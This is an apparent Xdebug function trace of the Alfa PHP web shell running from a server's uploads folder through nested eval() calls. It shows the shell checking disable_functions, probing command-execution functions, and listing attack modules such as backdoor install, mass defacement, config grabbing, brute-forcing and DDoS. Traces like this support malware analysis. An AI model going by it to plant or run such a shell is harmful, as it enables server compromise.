6 446 0 0.123939 3450440 get_magic_quotes_gpc 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1181 0
6 446 1 0.123964 3450440
6 446 R FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1181 $quotes = FALSE
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1181 $magic = '<span class="header_off">OFF</span>'
6 447 0 0.124038 3450440 Alfa_GetDisable_Function 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1183 0
7 448 0 0.124055 3450440 ini_get 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 917 1 'disable_functions'
7 448 1 0.124071 3450920
7 448 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 917 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 918 $afa = '<span class="header_show_all">All Functions Accessible</span>'
7 449 0 0.124132 3450888 explode 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 920 2 ',' 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7 449 1 0.124158 3453360
7 449 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 920 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7 450 0 0.124231 3453288 array_unique 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 921 1 [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
7 450 1 0.124264 3454656
7 450 R [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 921 $s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 922 $i = 0
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 923 $b = 0
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 924 $func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 925 $black_list = []
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 926 $allow_list = []
7 451 0 0.124391 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_alarm'
7 451 1 0.124406 3453320
7 451 R 'pcntl_alarm'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_alarm'
7 452 0 0.124432 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_alarm'
7 452 1 0.124449 3453320
7 452 R FALSE
7 453 0 0.124462 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_fork'
7 453 1 0.124476 3453320
7 453 R 'pcntl_fork'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_fork'
7 454 0 0.124509 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_fork'
7 454 1 0.124525 3453320
7 454 R FALSE
7 455 0 0.124539 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_waitpid'
7 455 1 0.124552 3453320
7 455 R 'pcntl_waitpid'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_waitpid'
7 456 0 0.124578 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_waitpid'
7 456 1 0.124593 3453320
7 456 R FALSE
7 457 0 0.124606 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wait'
7 457 1 0.124620 3453320
7 457 R 'pcntl_wait'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wait'
7 458 0 0.124645 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wait'
7 458 1 0.124660 3453320
7 458 R FALSE
7 459 0 0.124680 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wifexited'
7 459 1 0.124694 3453320
7 459 R 'pcntl_wifexited'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wifexited'
7 460 0 0.124720 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wifexited'
7 460 1 0.124793 3453320
7 460 R FALSE
7 461 0 0.124810 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wifstopped'
7 461 1 0.124824 3453320
7 461 R 'pcntl_wifstopped'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wifstopped'
7 462 0 0.124851 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wifstopped'
7 462 1 0.124866 3453320
7 462 R FALSE
7 463 0 0.124879 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wifsignaled'
7 463 1 0.124899 3453320
7 463 R 'pcntl_wifsignaled'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wifsignaled'
7 464 0 0.124925 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wifsignaled'
7 464 1 0.124940 3453320
7 464 R FALSE
7 465 0 0.124954 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wifcontinued'
7 465 1 0.124968 3453320
7 465 R 'pcntl_wifcontinued'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wifcontinued'
7 466 0 0.124993 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wifcontinued'
7 466 1 0.125007 3453320
7 466 R FALSE
7 467 0 0.125020 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wexitstatus'
7 467 1 0.125034 3453320
7 467 R 'pcntl_wexitstatus'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wexitstatus'
7 468 0 0.125059 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wexitstatus'
7 468 1 0.125074 3453320
7 468 R FALSE
7 469 0 0.125087 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wtermsig'
7 469 1 0.125100 3453320
7 469 R 'pcntl_wtermsig'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wtermsig'
7 470 0 0.125126 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wtermsig'
7 470 1 0.125141 3453320
7 470 R FALSE
7 471 0 0.125154 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_wstopsig'
7 471 1 0.125167 3453320
7 471 R 'pcntl_wstopsig'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_wstopsig'
7 472 0 0.125192 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_wstopsig'
7 472 1 0.125207 3453320
7 472 R FALSE
7 473 0 0.125219 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_signal'
7 473 1 0.125233 3453320
7 473 R 'pcntl_signal'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_signal'
7 474 0 0.125257 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_signal'
7 474 1 0.125271 3453320
7 474 R FALSE
7 475 0 0.125284 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_signal_get_handler'
7 475 1 0.125298 3453320
7 475 R 'pcntl_signal_get_handler'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_signal_get_handler'
7 476 0 0.125324 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_signal_get_handler'
7 476 1 0.125339 3453320
7 476 R FALSE
7 477 0 0.125352 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_signal_dispatch'
7 477 1 0.125366 3453320
7 477 R 'pcntl_signal_dispatch'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_signal_dispatch'
7 478 0 0.125391 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_signal_dispatch'
7 478 1 0.125405 3453320
7 478 R FALSE
7 479 0 0.125418 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_get_last_error'
7 479 1 0.125431 3453320
7 479 R 'pcntl_get_last_error'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_get_last_error'
7 480 0 0.125456 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_get_last_error'
7 480 1 0.125471 3453320
7 480 R FALSE
7 481 0 0.125484 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_strerror'
7 481 1 0.125497 3453320
7 481 R 'pcntl_strerror'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_strerror'
7 482 0 0.125536 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_strerror'
7 482 1 0.125551 3453320
7 482 R FALSE
7 483 0 0.125564 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_sigprocmask'
7 483 1 0.125578 3453320
7 483 R 'pcntl_sigprocmask'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_sigprocmask'
7 484 0 0.125603 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_sigprocmask'
7 484 1 0.125618 3453320
7 484 R FALSE
7 485 0 0.125631 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_sigwaitinfo'
7 485 1 0.125652 3453320
7 485 R 'pcntl_sigwaitinfo'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_sigwaitinfo'
7 486 0 0.125678 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_sigwaitinfo'
7 486 1 0.125693 3453320
7 486 R FALSE
7 487 0 0.125706 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_sigtimedwait'
7 487 1 0.125719 3453320
7 487 R 'pcntl_sigtimedwait'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_sigtimedwait'
7 488 0 0.125745 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_sigtimedwait'
7 488 1 0.125759 3453320
7 488 R FALSE
7 489 0 0.125772 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_exec'
7 489 1 0.125786 3453320
7 489 R 'pcntl_exec'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_exec'
7 490 0 0.125811 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_exec'
7 490 1 0.125826 3453320
7 490 R FALSE
7 491 0 0.125839 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_getpriority'
7 491 1 0.125858 3453320
7 491 R 'pcntl_getpriority'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_getpriority'
7 492 0 0.125886 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_getpriority'
7 492 1 0.125901 3453320
7 492 R FALSE
7 493 0 0.125913 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_setpriority'
7 493 1 0.125927 3453320
7 493 R 'pcntl_setpriority'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_setpriority'
7 494 0 0.125953 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_setpriority'
7 494 1 0.125967 3453320
7 494 R FALSE
7 495 0 0.125980 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 'pcntl_async_signals'
7 495 1 0.125993 3453320
7 495 R 'pcntl_async_signals'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = 'pcntl_async_signals'
7 496 0 0.126019 3453288 is_callable 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 929 1 'pcntl_async_signals'
7 496 1 0.126033 3453320
7 496 R FALSE
7 497 0 0.126046 3453288 trim 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 1 ''
7 497 1 0.126059 3453320
7 497 R ''
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 928 $d = ''
6 447 1 0.126084 3450440
6 447 R '<span class="header_show_all">All Functions Accessible</span>'
6 498 0 0.126107 3452232 getenv 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1193 1 'SERVER_SOFTWARE'
6 498 1 0.126139 3452312
6 498 R 'Apache/2.4.52 (Ubuntu)'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1210 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'proc'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'phpeval'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'sql'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'dumper'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'coldumper'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'hash'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'connect'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'zoneh'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'dos'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'safe'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'cgishell'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'ssiShell'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'cpcrack'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'portscanner'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'basedir'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'mail'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'ziper'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'deziper'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'IndexChanger'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'pwchanger'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'ShellInjectors'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'php2xml'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'cloudflare'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'Whmcs'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'symlink'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'MassDefacer'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'Crackers'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'searcher'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'config_grabber'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'fakepage'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'archive_manager'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'cmshijacker'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'remotedl'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'inbackdoor'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'whois'
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 1216 $key = 'selfrm'
5 73 1 0.127121 3446496
5 499 0 0.127130 3446496 AlfaNum 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 2561 7 8 9 10 7 6 5 4
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 948 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 949 $alfax = []
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 950 $find = []
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i = 1
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 1
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 2
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 3
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 4
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 5
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 6
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 7
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 8
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 9
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 952 $alfax[] = 10
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 951 $i++
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 8
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 9
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 10
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 7
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 6
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 5
5 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 955 $find[] = 4
6 500 0 0.127456 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 500 1 0.127476 3448016
6 500 R FALSE
6 501 0 0.127491 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 501 1 0.127509 3448016
6 501 R FALSE
6 502 0 0.127523 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 502 1 0.127541 3448016
6 502 R FALSE
6 503 0 0.127555 3447944 in_array 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 959 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 503 1 0.127572 3448016
